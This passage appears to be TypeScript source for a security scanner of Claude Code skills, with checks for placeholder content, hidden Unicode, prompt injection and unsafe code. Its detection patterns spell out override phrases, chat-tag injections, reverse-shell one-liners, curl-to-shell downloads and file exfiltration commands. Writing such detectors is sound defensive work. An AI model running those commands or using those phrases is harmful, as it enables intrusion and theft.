/\\baffiliate\\s+link\\b/i,\n /\\bcheck\\s+out\\s+my\\b/i,\n];\n\nexport const contentChecks: CheckModule = {\n name: 'Content Quality',\n category: 'CONT',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n\n if (!skill.body || skill.body.trim().length === 0) return results;\n\n // CONT-001: Placeholder content\n for (let i = 0; i < skill.bodyLines.length; i++) {\n const line = skill.bodyLines[i];\n let matched = false;\n\n // Strict patterns: always flag\n for (const pattern of STRICT_PLACEHOLDER_PATTERNS) {\n if (pattern.test(line)) {\n matched = true;\n break;\n }\n }\n\n // Context-sensitive patterns: only flag in prose context\n // Skip if line is in code block, inline code, or looks like technical reference\n if (!matched) {\n const inCodeBlk = isInCodeBlock(skill.bodyLines, i);\n const hasInlineCode = /`[^`]*placeholder[^`]*`/i.test(line);\n const isTechnicalRef =\n // CSS/HTML context\n /class\\s*=\\s*[\"'].*placeholder/i.test(line) ||\n // Compound technical terms\n /placeholder[_-]?(type|text|image|content|area|location|id|index|name|shape)/i.test(line) ||\n // PPT/slide layout context: placeholder alongside slide/layout terms\n /\\bplaceholder\\b.*\\b(TITLE|SUBTITLE|BODY|OBJECT|SLIDE|layout|slide|shape|pptx|presentation)/i.test(line) ||\n /\\b(TITLE|SUBTITLE|BODY|OBJECT|SLIDE|layout|slide|shape|pptx|presentation)\\b.*\\bplaceholder\\b/i.test(line) ||\n // API/code context: placeholder as a noun in technical documentation\n /\\bplaceholder\\s+(areas?|locations?|counts?|slots?|elements?|fields?)\\b/i.test(line) ||\n /\\b(replace|replacing|replacement)\\b.*\\bplaceholder\\b/i.test(line);\n\n if (!inCodeBlk && !hasInlineCode && !isTechnicalRef) {\n for (const pattern of CONTEXT_SENSITIVE_PLACEHOLDER_PATTERNS) {\n if (pattern.test(line)) {\n matched = true;\n break;\n }\n }\n }\n }\n\n if (matched) {\n results.push({\n id: 'CONT-001',\n category: 'CONT',\n severity: 'HIGH',\n title: 'Placeholder content detected',\n message: `Line ${skill.bodyStartLine + i}: Contains placeholder text.`,\n line: skill.bodyStartLine + i,\n snippet: line.trim().slice(0, 120),\n });\n }\n }\n\n // CONT-002: Lorem ipsum\n for (const pattern of LOREM_PATTERNS) {\n if (pattern.test(skill.body)) {\n results.push({\n id: 'CONT-002',\n category: 'CONT',\n severity: 'CRITICAL',\n title: 'Lorem ipsum filler text',\n message: 'Body contains lorem ipsum placeholder text.',\n });\n break;\n }\n }\n\n // CONT-003: Low information density (excessive repetition)\n checkRepetition(results, skill);\n\n // CONT-004: Description vs body mismatch\n // Simple heuristic: check if description keywords appear in body\n checkDescriptionMismatch(results, skill);\n\n // CONT-005: Ad/promotional content\n for (let i = 0; i < skill.bodyLines.length; i++) {\n const line = skill.bodyLines[i];\n let matched = false;\n\n // Strong patterns: always HIGH\n for (const pattern of STRONG_AD_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'CONT-005',\n category: 'CONT',\n severity: 'HIGH',\n title: 'Promotional/advertising content',\n message: `Line ${skill.bodyStartLine + i}: Contains ad-like content.`,\n line: skill.bodyStartLine + i,\n snippet: line.trim().slice(0, 120),\n source: 'SKILL.md',\n });\n matched = true;\n break;\n }\n }\n\n if (matched) continue;\n\n // Soft patterns: context-sensitive\n for (const pattern of SOFT_AD_PATTERNS) {\n if (pattern.test(line)) {\n const inCode = isInCodeBlock(skill.bodyLines, i);\n const inEducational = isInEducationalContext(skill.bodyLines, i);\n\n if ((inCode || inEducational) && !hasPromotionalIntentNearby(skill.bodyLines, i)) {\n const reduction = reduceSeverity('HIGH', 'educational/descriptive context');\n results.push({\n id: 'CONT-005',\n category: 'CONT',\n severity: reduction.severity,\n title: 'Promotional/advertising content',\n message: `Line ${skill.bodyStartLine + i}: Contains ad-like content. ${reduction.annotation}`,\n line: skill.bodyStartLine + i,\n snippet: line.trim().slice(0, 120),\n reducedFrom: reduction.reducedFrom,\n source: 'SKILL.md',\n });\n } else {\n results.push({\n id: 'CONT-005',\n category: 'CONT',\n severity: 'HIGH',\n title: 'Promotional/advertising content',\n message: `Line ${skill.bodyStartLine + i}: Contains ad-like content.`,\n line: skill.bodyStartLine + i,\n snippet: line.trim().slice(0, 120),\n source: 'SKILL.md',\n });\n }\n break;\n }\n }\n }\n\n // CONT-006: Body is mostly code with no instructions\n checkCodeHeavy(results, skill);\n\n // CONT-007: Name doesn't match body capabilities\n checkNameMismatch(results, skill);\n\n return results;\n },\n};\n\nfunction checkRepetition(results: CheckResult[], skill: ParsedSkill): void {\n const lines = skill.bodyLines.filter((l) => l.trim().length > 0);\n if (lines.length < 5) return;\n\n const lineCounts = new Map<string, number>();\n for (const line of lines) {\n const normalized = line.trim().toLowerCase();\n lineCounts.set(normalized, (lineCounts.get(normalized) ?? 0) + 1);\n }\n\n let duplicated = 0;\n for (const count of lineCounts.values()) {\n if (count > 1) duplicated += count - 1;\n }\n\n const ratio = duplicated / lines.length;\n if (ratio > 0.5) {\n results.push({\n id: 'CONT-003',\n category: 'CONT',\n severity: 'MEDIUM',\n title: 'Low information density',\n message: `${Math.round(ratio * 100)}% of lines are duplicates. Possible filler content.`,\n });\n }\n}\n\nfunction checkDescriptionMismatch(\n results: CheckResult[],\n skill: ParsedSkill\n): void {\n const desc = skill.frontmatter.description;\n if (!desc || desc.length < 10) return;\n\n // Extract significant words from description\n const descWords = desc\n .toLowerCase()\n .split(/\\W+/)\n .filter((w) => w.length > 4);\n if (descWords.length === 0) return;\n\n const bodyLower = skill.body.toLowerCase();\n const matched = descWords.filter((w) => bodyLower.includes(w));\n\n // If less than 20% of description words appear in body\n if (matched.length / descWords.length < 0.2) {\n results.push({\n id: 'CONT-004',\n category: 'CONT',\n severity: 'MEDIUM',\n title: 'Description/body mismatch',\n message:\n 'The frontmatter description appears unrelated to the body content.',\n });\n }\n}\n\nfunction checkCodeHeavy(results: CheckResult[], skill: ParsedSkill): void {\n const lines = skill.bodyLines;\n if (lines.length < 10) return;\n\n let inCodeBlock = false;\n let codeLines = 0;\n\n for (const line of lines) {\n if (line.trim().startsWith('```')) {\n inCodeBlock = !inCodeBlock;\n continue;\n }\n if (inCodeBlock) codeLines++;\n }\n\n const nonEmptyLines = lines.filter((l) => l.trim().length > 0).length;\n if (nonEmptyLines > 0 && codeLines / nonEmptyLines > 0.8) {\n results.push({\n id: 'CONT-006',\n category: 'CONT',\n severity: 'MEDIUM',\n title: 'Body is mostly code examples',\n message:\n 'Over 80% of body content is in code blocks with minimal instructions.',\n });\n }\n}\n\nfunction checkNameMismatch(results: CheckResult[], skill: ParsedSkill): void {\n const name = skill.frontmatter.name;\n if (!name) return;\n\n // Extract capability hints from name\n const nameWords = name\n .split(/[-_]/)\n .filter((w) => w.length > 2)\n .map((w) => w.toLowerCase());\n const bodyLower = skill.body.toLowerCase();\n\n // If name suggests a specific capability, check body mentions it\n const capabilityHints = nameWords.filter((w) =>\n !['the', 'and', 'for', 'skill', 'tool', 'helper', 'util'].includes(w)\n );\n\n if (capabilityHints.length === 0) return;\n\n const matched = capabilityHints.filter((w) => bodyLower.includes(w));\n if (matched.length === 0 && capabilityHints.length >= 2) {\n results.push({\n id: 'CONT-007',\n category: 'CONT',\n severity: 'HIGH',\n title: 'Name/body capability mismatch',\n message: `Skill name \"${name}\" implies capabilities not found in body content.`,\n });\n }\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * Zero-width Unicode characters that can hide content.\n */\nexport const ZERO_WIDTH_CHARS = [\n '\\u200B', // ZERO WIDTH SPACE\n '\\u200C', // ZERO WIDTH NON-JOINER\n '\\u200D', // ZERO WIDTH JOINER\n '\\u200E', // LEFT-TO-RIGHT MARK\n '\\u200F', // RIGHT-TO-LEFT MARK\n '\\uFEFF', // ZERO WIDTH NO-BREAK SPACE (BOM)\n '\\u2060', // WORD JOINER\n '\\u2061', // FUNCTION APPLICATION\n '\\u2062', // INVISIBLE TIMES\n '\\u2063', // INVISIBLE SEPARATOR\n '\\u2064', // INVISIBLE PLUS\n];\n\n/**\n * RTL override characters that can manipulate display.\n */\nexport const RTL_OVERRIDE_CHARS = [\n '\\u202A', // LEFT-TO-RIGHT EMBEDDING\n '\\u202B', // RIGHT-TO-LEFT EMBEDDING\n '\\u202C', // POP DIRECTIONAL FORMATTING\n '\\u202D', // LEFT-TO-RIGHT OVERRIDE\n '\\u202E', // RIGHT-TO-LEFT OVERRIDE\n '\\u2066', // LEFT-TO-RIGHT ISOLATE\n '\\u2067', // RIGHT-TO-LEFT ISOLATE\n '\\u2068', // FIRST STRONG ISOLATE\n '\\u2069', // POP DIRECTIONAL ISOLATE\n];\n\n/**\n * Homoglyph map: Cyrillic/Greek characters that look like Latin.\n */\nconst HOMOGLYPHS: Record<string, string> = {\n '\\u0410': 'A', // Cyrillic А\n '\\u0412': 'B', // Cyrillic В\n '\\u0421': 'C', // Cyrillic С\n '\\u0415': 'E', // Cyrillic Е\n '\\u041D': 'H', // Cyrillic Н\n '\\u041A': 'K', // Cyrillic К\n '\\u041C': 'M', // Cyrillic М\n '\\u041E': 'O', // Cyrillic О\n '\\u0420': 'P', // Cyrillic Р\n '\\u0422': 'T', // Cyrillic Т\n '\\u0425': 'X', // Cyrillic Х\n '\\u0430': 'a', // Cyrillic а\n '\\u0435': 'e', // Cyrillic е\n '\\u043E': 'o', // Cyrillic о\n '\\u0440': 'p', // Cyrillic р\n '\\u0441': 'c', // Cyrillic с\n '\\u0443': 'y', // Cyrillic у\n '\\u0445': 'x', // Cyrillic х\n '\\u0391': 'A', // Greek Α\n '\\u0392': 'B', // Greek Β\n '\\u0395': 'E', // Greek Ε\n '\\u0397': 'H', // Greek Η\n '\\u0399': 'I', // Greek Ι\n '\\u039A': 'K', // Greek Κ\n '\\u039C': 'M', // Greek Μ\n '\\u039D': 'N', // Greek Ν\n '\\u039F': 'O', // Greek Ο\n '\\u03A1': 'P', // Greek Ρ\n '\\u03A4': 'T', // Greek Τ\n '\\u03A7': 'X', // Greek Χ\n '\\u03BF': 'o', // Greek ο\n};\n\n/**\n * Find zero-width characters in text, returning positions.\n */\nexport function findZeroWidthChars(\n text: string\n): Array<{ char: string; codePoint: string; position: number }> {\n const found: Array<{ char: string; codePoint: string; position: number }> = [];\n for (let i = 0; i < text.length; i++) {\n if (ZERO_WIDTH_CHARS.includes(text[i])) {\n found.push({\n char: text[i],\n codePoint: 'U+' + text[i].charCodeAt(0).toString(16).toUpperCase().padStart(4, '0'),\n position: i,\n });\n }\n }\n return found;\n}\n\n/**\n * Find RTL override characters in text.\n */\nexport function findRTLOverrides(\n text: string\n): Array<{ char: string; codePoint: string; position: number }> {\n const found: Array<{ char: string; codePoint: string; position: number }> = [];\n for (let i = 0; i < text.length; i++) {\n if (RTL_OVERRIDE_CHARS.includes(text[i])) {\n found.push({\n char: text[i],\n codePoint: 'U+' + text[i].charCodeAt(0).toString(16).toUpperCase().padStart(4, '0'),\n position: i,\n });\n }\n }\n return found;\n}\n\n/**\n * Find homoglyph characters (non-Latin chars posing as Latin).\n */\nexport function findHomoglyphs(\n text: string\n): Array<{ char: string; looksLike: string; position: number }> {\n const found: Array<{ char: string; looksLike: string; position: number }> = [];\n for (let i = 0; i < text.length; i++) {\n const latin = HOMOGLYPHS[text[i]];\n if (latin) {\n found.push({ char: text[i], looksLike: latin, position: i });\n }\n }\n return found;\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * Calculate Shannon entropy of a string (bits per character).\n * Higher entropy suggests encoded/obfuscated content.\n * Typical English text: ~3.5-4.0, random/encoded: >4.5\n */\nexport function shannonEntropy(str: string): number {\n if (str.length === 0) return 0;\n\n const freq = new Map<string, number>();\n for (const ch of str) {\n freq.set(ch, (freq.get(ch) ?? 0) + 1);\n }\n\n let entropy = 0;\n const len = str.length;\n for (const count of freq.values()) {\n const p = count / len;\n if (p > 0) {\n entropy -= p * Math.log2(p);\n }\n }\n\n return entropy;\n}\n\n/**\n * Check if a string looks like base64 encoded content.\n */\nexport function isBase64Like(str: string): boolean {\n // Must be at least 50 chars and match base64 pattern\n if (str.length < 50) return false;\n return /^[A-Za-z0-9+/=]{50,}$/.test(str.trim());\n}\n\n/**\n * Check if a string looks like hex encoded content.\n */\nexport function isHexEncoded(str: string): boolean {\n if (str.length < 50) return false;\n return /^(0x)?[0-9a-fA-F]{50,}$/.test(str.trim());\n}\n\n/**\n * Try to decode base64 and check if result contains suspicious content.\n */\nexport function tryDecodeBase64(str: string): string | null {\n try {\n const decoded = Buffer.from(str.trim(), 'base64').toString('utf-8');\n // Check if decoded result is mostly printable\n const printable = decoded.replace(/[^\\x20-\\x7E\\n\\r\\t]/g, '');\n if (printable.length / decoded.length > 0.8) {\n return decoded;\n }\n return null;\n } catch {\n return null;\n }\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\nimport { findZeroWidthChars, findRTLOverrides, findHomoglyphs } from '../utils/unicode.js';\nimport { isBase64Like, tryDecodeBase64 } from '../utils/entropy.js';\n\n/** Patterns that attempt to override system prompts */\nconst SYSTEM_OVERRIDE_PATTERNS = [\n /ignore\\s+(all\\s+)?previous\\s+instructions/i,\n /ignore\\s+(all\\s+)?prior\\s+instructions/i,\n /disregard\\s+(all\\s+)?previous/i,\n /forget\\s+(all\\s+)?previous/i,\n /you\\s+are\\s+now\\s+a\\s+different/i,\n /new\\s+system\\s+prompt/i,\n /override\\s+system\\s+prompt/i,\n /your\\s+new\\s+instructions?\\s+(are|is)/i,\n /from\\s+now\\s+on,?\\s+you\\s+(will|must|should)/i,\n /act\\s+as\\s+(if|though)\\s+your\\s+instructions/i,\n];\n\n/** Patterns that manipulate tool output */\nconst TOOL_MANIPULATION_PATTERNS = [\n /\\bresult\\s*[:=]\\s*[\"']?success/i,\n /tool_result/i,\n /<tool_result>/i,\n /\\breturn\\s+[\"']?(true|success|approved)/i,\n /permissionDecision\\s*[:=]/i,\n];\n\n/** Tag injection patterns */\nconst TAG_INJECTION_PATTERNS = [\n /<system>/i,\n /<\\/system>/i,\n /<\\|im_start\\|>/i,\n /<\\|im_end\\|>/i,\n /<\\|endoftext\\|>/i,\n /<human>/i,\n /<assistant>/i,\n /<\\|system\\|>/i,\n /<\\|user\\|>/i,\n /<\\|assistant\\|>/i,\n];\n\n/** Delimiter confusion patterns */\nconst DELIMITER_PATTERNS = [\n /={5,}/,\n /-{5,}\\s*(system|instruction|prompt)/i,\n /#{3,}\\s*(system|instruction|prompt)/i,\n /\\[SYSTEM\\]/i,\n /\\[INST\\]/i,\n /\\[\\/INST\\]/i,\n];\n\nexport const injectionChecks: CheckModule = {\n name: 'Injection Detection',\n category: 'INJ',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n const fullText = skill.raw;\n\n // INJ-001: Zero-width Unicode characters\n const zeroWidth = findZeroWidthChars(fullText);\n if (zeroWidth.length > 0) {\n results.push({\n id: 'INJ-001',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'Zero-width Unicode characters detected',\n message: `Found ${zeroWidth.length} zero-width character(s): ${zeroWidth.slice(0, 5).map((z) => z.codePoint).join(', ')}. These can hide malicious content.`,\n });\n }\n\n // INJ-002: Homoglyph characters\n const homoglyphs = findHomoglyphs(fullText);\n if (homoglyphs.length > 0) {\n results.push({\n id: 'INJ-002',\n category: 'INJ',\n severity: 'HIGH',\n title: 'Homoglyph characters detected',\n message: `Found ${homoglyphs.length} character(s) that mimic Latin letters (e.g. Cyrillic/Greek). Could be used for spoofing.`,\n snippet: homoglyphs\n .slice(0, 5)\n .map((h) => `\"${h.char}\" looks like \"${h.looksLike}\"`)\n .join(', '),\n });\n }\n\n // INJ-003: RTL override characters\n const rtl = findRTLOverrides(fullText);\n if (rtl.length > 0) {\n results.push({\n id: 'INJ-003',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'RTL override characters detected',\n message: `Found ${rtl.length} RTL/bidirectional override character(s): ${rtl.slice(0, 5).map((r) => r.codePoint).join(', ')}. These can manipulate text display direction.`,\n });\n }\n\n // Check body lines for remaining patterns\n for (let i = 0; i < skill.bodyLines.length; i++) {\n const line = skill.bodyLines[i];\n const lineNum = skill.bodyStartLine + i;\n\n // INJ-004: System prompt override\n for (const pattern of SYSTEM_OVERRIDE_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'INJ-004',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'System prompt override attempt',\n message: `Line ${lineNum}: Attempts to override system instructions.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-005: Tool output manipulation\n for (const pattern of TOOL_MANIPULATION_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'INJ-005',\n category: 'INJ',\n severity: 'HIGH',\n title: 'Tool output manipulation',\n message: `Line ${lineNum}: Attempts to manipulate tool results.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-007: Tag injection\n for (const pattern of TAG_INJECTION_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'INJ-007',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'Tag injection detected',\n message: `Line ${lineNum}: Contains special model/system tags.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-009: Delimiter confusion\n for (const pattern of DELIMITER_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'INJ-009',\n category: 'INJ',\n severity: 'MEDIUM',\n title: 'Delimiter confusion pattern',\n message: `Line ${lineNum}: Uses patterns that could confuse model context boundaries.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n }\n\n // INJ-006: Hidden instructions in HTML/Markdown comments\n const commentRegex = /<!--([\\s\\S]*?)-->/g;\n let commentMatch;\n while ((commentMatch = commentRegex.exec(fullText)) !== null) {\n const commentBody = commentMatch[1];\n if (hasInstructionLikeContent(commentBody)) {\n const lineNum = fullText.slice(0, commentMatch.index).split('\\n').length;\n results.push({\n id: 'INJ-006',\n category: 'INJ',\n severity: 'HIGH',\n title: 'Hidden instructions in HTML comment',\n message: `Line ${lineNum}: HTML comment contains instruction-like content.`,\n line: lineNum,\n snippet: commentBody.trim().slice(0, 120),\n });\n }\n }\n\n // INJ-008: Encoded instructions (base64 in body)\n const base64Regex = /[A-Za-z0-9+/=]{60,}/g;\n let b64Match;\n while ((b64Match = base64Regex.exec(skill.body)) !== null) {\n const candidate = b64Match[0];\n if (isBase64Like(candidate)) {\n const decoded = tryDecodeBase64(candidate);\n if (decoded && hasInstructionLikeContent(decoded)) {\n const lineNum =\n skill.bodyStartLine +\n skill.body.slice(0, b64Match.index).split('\\n').length -\n 1;\n results.push({\n id: 'INJ-008',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'Encoded instructions detected',\n message: `Line ${lineNum}: Base64 string decodes to instruction-like content.`,\n line: lineNum,\n snippet: decoded.slice(0, 120),\n });\n }\n }\n }\n\n // Deduplicate by id+line\n return dedup(results);\n },\n};\n\nfunction hasInstructionLikeContent(text: string): boolean {\n const instructionPatterns = [\n /you\\s+(must|should|will|are)/i,\n /ignore\\s+previous/i,\n /execute\\s+the\\s+following/i,\n /run\\s+this\\s+command/i,\n /\\bsudo\\b/i,\n /\\brm\\s+-rf\\b/i,\n /\\bcurl\\b.*\\bsh\\b/i,\n /\\beval\\b/i,\n /\\bexec\\b/i,\n ];\n return instructionPatterns.some((p) => p.test(text));\n}\n\nfunction dedup(results: CheckResult[]): CheckResult[] {\n const seen = new Set<string>();\n return results.filter((r) => {\n const key = `${r.id}:${r.line ?? ''}`;\n if (seen.has(key)) return false;\n seen.add(key);\n return true;\n });\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill, Severity } from '../types.js';\nimport { reduceSeverity } from '../types.js';\nimport { shannonEntropy, isBase64Like, isHexEncoded } from '../utils/entropy.js';\nimport { isInDocumentationContext, isInCodeBlock } from '../utils/context.js';\n\n/** Dangerous eval/exec patterns */\nconst EVAL_PATTERNS = [\n /\\beval\\s*\\(/,\n /\\bexec\\s*\\(/,\n /\\bnew\\s+Function\\s*\\(/,\n /\\bsetTimeout\\s*\\(\\s*[\"'`]/,\n /\\bsetInterval\\s*\\(\\s*[\"'`]/,\n];\n\n/** Shell execution patterns */\nconst SHELL_EXEC_PATTERNS = [\n /\\bchild_process\\b/,\n /\\bexecSync\\b/,\n /\\bspawnSync\\b/,\n /\\bos\\.system\\s*\\(/,\n /\\bsubprocess\\.(run|call|Popen)\\s*\\(/,\n /(?<!\\bplatform\\.)\\bsystem\\s*\\(/, // exclude platform.system()\n /`[^`]*\\$\\([^)]+\\)[^`]*`/, // backtick with command substitution\n];\n\n/**\n * Patterns that look like shell execution but are actually\n * read-only system info queries (not dangerous).\n */\nconst SHELL_EXEC_FALSE_POSITIVES = [\n /\\bplatform\\.system\\s*\\(\\s*\\)/, // Python: just reads OS name\n];\n\n/** Destructive file operations */\nconst DESTRUCTIVE_PATTERNS = [\n /\\brm\\s+-rf\\b/,\n /\\brm\\s+-r\\b/,\n /\\brmdir\\b/,\n /\\bunlink\\s*\\(/,\n /\\bfs\\.rm(Sync)?\\s*\\(/,\n /\\bshutil\\.rmtree\\s*\\(/,\n /\\bdel\\s+\\/[sf]/i,\n /\\bformat\\s+[a-z]:/i,\n];\n\n/** Network request patterns with hardcoded URLs */\nconst NETWORK_PATTERNS = [\n /\\bfetch\\s*\\(\\s*[\"'`]https?:\\/\\//,\n /\\baxios\\.(get|post|put|delete)\\s*\\(\\s*[\"'`]https?:\\/\\//,\n /\\bcurl\\s+/,\n /\\bwget\\s+/,\n /\\brequests?\\.(get|post)\\s*\\(/,\n /\\bhttp\\.get\\s*\\(/,\n /\\bURLSession\\b/,\n];\n\n/** File write outside expected directory */\nconst FILE_WRITE_PATTERNS = [\n /\\bfs\\.writeFile(Sync)?\\s*\\(\\s*[\"'`]\\//,\n /\\bopen\\s*\\(\\s*[\"'`]\\/[^\"'`]+[\"'`]\\s*,\\s*[\"'`]w/,\n />\\s*\\/etc\\//,\n />\\s*\\/usr\\//,\n />\\s*~\\//,\n />\\s*\\$HOME\\//,\n];\n\n/** Environment variable access */\nconst ENV_ACCESS_PATTERNS = [\n /process\\.env\\b/,\n /\\bos\\.environ\\b/,\n /\\bgetenv\\s*\\(/,\n /\\$\\{?\\w*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API_KEY)\\w*\\}?/i,\n];\n\n/** CODE-014 reverse shell patterns */\nconst REVERSE_SHELL_PATTERNS = [\n /\\/dev\\/tcp\\/[\\w.-]+\\/\\d+/, // bash -i >& /dev/tcp/host/port 0>&1\n /\\bnc(?:at)?\\b[^\\n]*\\s-(?:e|c)\\s+/, // nc -e /bin/sh host port\n /\\bncat\\b[^\\n]*\\s--exec\\b/, // ncat --exec /bin/sh host port\n /\\bsocket\\.socket\\s*\\([^)]*\\)[\\s\\S]*\\.(?:connect|connect_ex)\\s*\\([^)]*\\)[\\s\\S]*os\\.dup2\\s*\\([^)]*\\)[\\s\\S]*(?:subprocess\\.(?:call|run|Popen)|os\\.system)\\s*\\(/,\n /\\bphp\\b[^\\n]*\\bfsockopen\\s*\\([^)]*\\)[\\s\\S]*\\b(?:exec|shell_exec|system|passthru)\\s*\\(/,\n /\\bperl\\b[^\\n]*\\bSocket\\b[\\s\\S]*\\bconnect\\s*\\([^)]*\\)[\\s\\S]*\\bexec\\s*\\(/,\n];\n\n/** CODE-015 remote execution and exfiltration patterns */\nconst REMOTE_PIPELINE_EXEC_PATTERNS = [\n /\\bcurl\\b[^\\n|]*https?:\\/\\/[^\\s|]+[^\\n]*\\|\\s*(?:sh|bash|zsh|ksh|ash)\\b/i,\n /\\bwget\\b[^\\n|]*https?:\\/\\/[^\\s|]+[^\\n]*\\|\\s*(?:sh|bash|zsh|ksh|ash)\\b/i,\n /\\bcurl\\b[^\\n|]*https?:\\/\\/[^\\s|]+[^\\n]*\\|\\s*(?:python|python3|node)\\b/i,\n /\\bwget\\b[^\\n|]*https?:\\/\\/[^\\s|]+[^\\n]*\\|\\s*(?:python|python3|node)\\b/i,\n];\n\nconst DATA_EXFIL_PATTERNS = [\n /\\bcurl\\b[^\\n]*(?:-d|--data|--data-binary|--data-raw)\\s+@(?:[^\\s'\"`]+|[\"'`][^\"'`]+[\"'`])/i,\n /\\bcurl\\b[^\\n]*(?:-F|--form)\\s+[^\\s=]+=@(?:[^\\s'\"`]+|[\"'`][^\"'`]+[\"'`])/i,\n /\\bwget\\b[^\\n]*--post-file(?:=|\\s+)(?:[^\\s'\"`]+|[\"'`][^\"'`]+[\"'`])/i,\n];\n\n/** Dynamic code generation */\nconst DYNAMIC_CODE_PATTERNS = [\n /\\bcompile\\s*\\(/,\n /\\bcodegen\\b/i,\n /\\bimport\\s*\\(\\s*[^\"'`\\s]/,\n /\\brequire\\s*\\(\\s*[^\"'`\\s]/,\n /\\b__import__\\s*\\(/,\n];\n\nconst PROVIDER_CREDENTIAL_PATTERNS: Array<{ pattern: RegExp; title: string }> = [\n {\n pattern: /\\bsk-ant-api03-[A-Za-z0-9_-]{20,}\\b/,\n title: 'Anthropic API key exposure',\n },\n {\n pattern: /\\bsk-proj-[A-Za-z0-9_-]{20,}\\b/,\n title: 'OpenAI project key exposure',\n },\n {\n pattern: /\\bxox[bps]-[A-Za-z0-9-]{20,}\\b/,\n title: 'Slack token exposure',\n },\n {\n pattern: /\\bAKIA[0-9A-Z]{16}\\b/,\n title: 'AWS access key exposure',\n },\n {\n pattern: /\\bgh[op]_[A-Za-z0-9]{20,}\\b/,\n title: 'GitHub token exposure',\n },\n {\n pattern: /\\bgithub_pat_[A-Za-z0-9_]{20,}\\b/,\n title: 'GitHub fine-grained token exposure',\n },\n];\n\n/** CODE-013 restricted sk-* fallback */\nconst OPENAI_SK_FALLBACK_PATTERN = /\\bsk-[A-Za-z0-9_-]{20,}\\b/;\n\nconst CREDENTIAL_NAME_TOKENS = new Set([\n 'api',\n 'key',\n 'token',\n 'secret',\n 'password',\n 'credential',\n]);\n\nconst CREDENTIAL_COMPOUND_NAMES = new Set([\n 'apikey',\n 'apitoken',\n 'accesskey',\n 'accesstoken',\n 'secretkey',\n 'secrettoken',\n]);\n\nconst CREDENTIAL_EQUALS_PATTERN =\n /\\b([A-Za-z0-9_-]+)\\b\\s*=\\s*[\"'`]?([A-Za-z0-9._~+/=\\-]{20,})/i;\n\nconst CREDENTIAL_KEY_VALUE_PATTERN =\n /^\\s*[\"'`]?([A-Za-z0-9_-]+)[\"'`]?\\s*:\\s*[\"'`]?([A-Za-z0-9._~+/=\\-]{20,})/i;\n\nconst AUTHORIZATION_BEARER_PATTERN =\n /\\bAuthorization\\b\\s*:\\s*Bearer\\s+([A-Za-z0-9._~+/=\\-]{20,})/i;\n\nconst X_API_KEY_PATTERN =\n /\\bx-api-key\\b\\s*:\\s*([A-Za-z0-9._~+/=\\-]{20,})/i;\n\nconst CREDENTIAL_MIN_LENGTH = 20;\nconst CREDENTIAL_MIN_ENTROPY = 4.5;\n\n/** Permission escalation */\nconst PERMISSION_PATTERNS = [\n /\\bchmod\\s+[+0-9]/,\n /\\bchown\\b/,\n /\\bsudo\\b/,\n /\\bdoas\\b/,\n /\\bsetuid\\b/,\n /\\bsetgid\\b/,\n];\n\nexport const codeSafetyChecks: CheckModule = {\n name: 'Code Safety',\n category: 'CODE',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n\n // Collect all text content to scan\n const 